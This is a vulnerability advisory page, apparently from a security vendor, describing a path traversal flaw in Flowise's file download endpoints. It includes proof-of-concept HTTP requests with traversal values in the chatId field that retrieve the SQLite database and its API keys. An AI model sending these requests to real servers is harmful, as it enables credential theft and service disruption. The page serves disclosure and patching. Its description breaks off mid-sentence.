🛡️ CVE-2025-71324 — flowise

🔴 CVSS 9.5 — Critical ⚠️ Exploit Public CWE-22 OSV
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Flowise has an Arbitrary File Read

Summary

An arbitrary file read vulnerability in the chatId parameter supplied to both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content.

Details

Both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints accept the chatId parameter and pass this to a subsequent call to streamStorageFile().

```

const chatflowId = req.query.chatflowId as string

const chatId = req.query.chatId as string

const fileName = req.query.fileName as string

...

const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)

```

While streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId.

```

// Validate chatflowId

if (!chatflowId || !isValidUUID(chatflowId)) {

throw new Error('Invalid chatflowId format - must be a valid UUID')

}

// Check for path traversal attempts

if (isPathTraversal(chatflowId)) {

throw new Error('Invalid path characters detected in chatflowId')

}

...

const sanitizedFilename = sanitize(fileName)

...

const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)

```

There is validation that the resulting filePath is restricted to the /root/.flowise/storage directory.

```

if (!filePath.startsWith(getStoragePath())) throw new Error(Invalid file path)

```

However, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted.

```

if (fs.existsSync(filePath)) {

return fs.createReadStream(filePath)

} else {

// Fallback: Check if file exists without orgId

const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename)

if (fs.existsSync(fallbackPath)) {

// Create directory if it doesn't exist

const dir = path.dirname(filePath)

if (!fs.existsSync(dir)) {

fs.mkdirSync(dir, { recursive: true })

}

// Copy file to correct location with orgId

fs.copyFileSync(fallbackPath, filePath)

// Delete the old file

fs.unlinkSync(fallbackPath)

// Clean up empty directories recursively

_cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId))

return fs.createReadStream(filePath)

```

As this fallback path is read after the /root/.flowise/storage check, this allows an additional level of traversal up to /root/.flowise/. As a result, this allows reading of /root/.flowise/database.sqlite, which contains all database content in the default Flowise configuration.

REQUEST

```

GET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1

Host: 127.0.0.1:3000

```

RESPONSE

```

HTTP/1.1 200 OK

Vary: Origin

Access-Control-Allow-Credentials: true

Content-Disposition: attachment; filename="database.sqlite"

Date: Tue, 22 Jul 2025 06:43:51 GMT

Connection: keep-alive

Keep-Alive: timeout=5

Content-Length: 385024

SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ �Ïl–

Í‚S=*''���������������������������������������������������������������������������������������������������������������������������������������������;,O)�indexsqlite_autoindex_docume

...

```

Similarly, for /api/v1/openai-assistants-file/download:

REQUEST

```

POST /api/v1/openai-assistants-file/download HTTP/1.1

Host: 127.0.0.1:3000

Content-Type: application/json

Content-Length: 100

{"chatflowId":"c5c63474-e757-4fca-a504-d54e84c309bb","chatId":"/../..","fileName":"database.sqlite"}

```

RESPONSE

```

HTTP/1.1 200 OK

Vary: Origin

Access-Control-Allow-Credentials: true

Content-Disposition: attachment; filename="database.sqlite"

Date: Tue, 22 Jul 2025 08:55:25 GMT

Connection: keep-alive

Keep-Alive: timeout=5

Content-Length: 385024

SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ

...

```

This includes all API keys used by the application (apiKey table), which can be used to gain administrative access.

As the fallback logic attempts to move the file to the initially checked directory, this results in the server permanently being unable to make new read or write operations until the file is moved and the server is restarted.

Interaction with these endpoints requires knowledge of a valid chatflowId. As a UUID, this is inherently unguessable. However, the /api/v1/vector/upsert/ endpoint can be used witho

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability high.

Weakness class

CVE-2025-71324 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2025-71324 is recorded against 1 package.

  • flowise

Timeline and source

Published on 15 September 2025 and last revised on 21 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
CWE CWE-22
Public Exploit ⚠️ Yes
Source OSV
Published 2025-09-15
Updated 2026-08-12
Modified 2026-07-21
Fix URL N/A

Affected Packages

Software From version Fixed in
flowise

Similar Threats

Exploit Protection

Are you running flowise?

CVE-2025-71324 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2025-71324 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.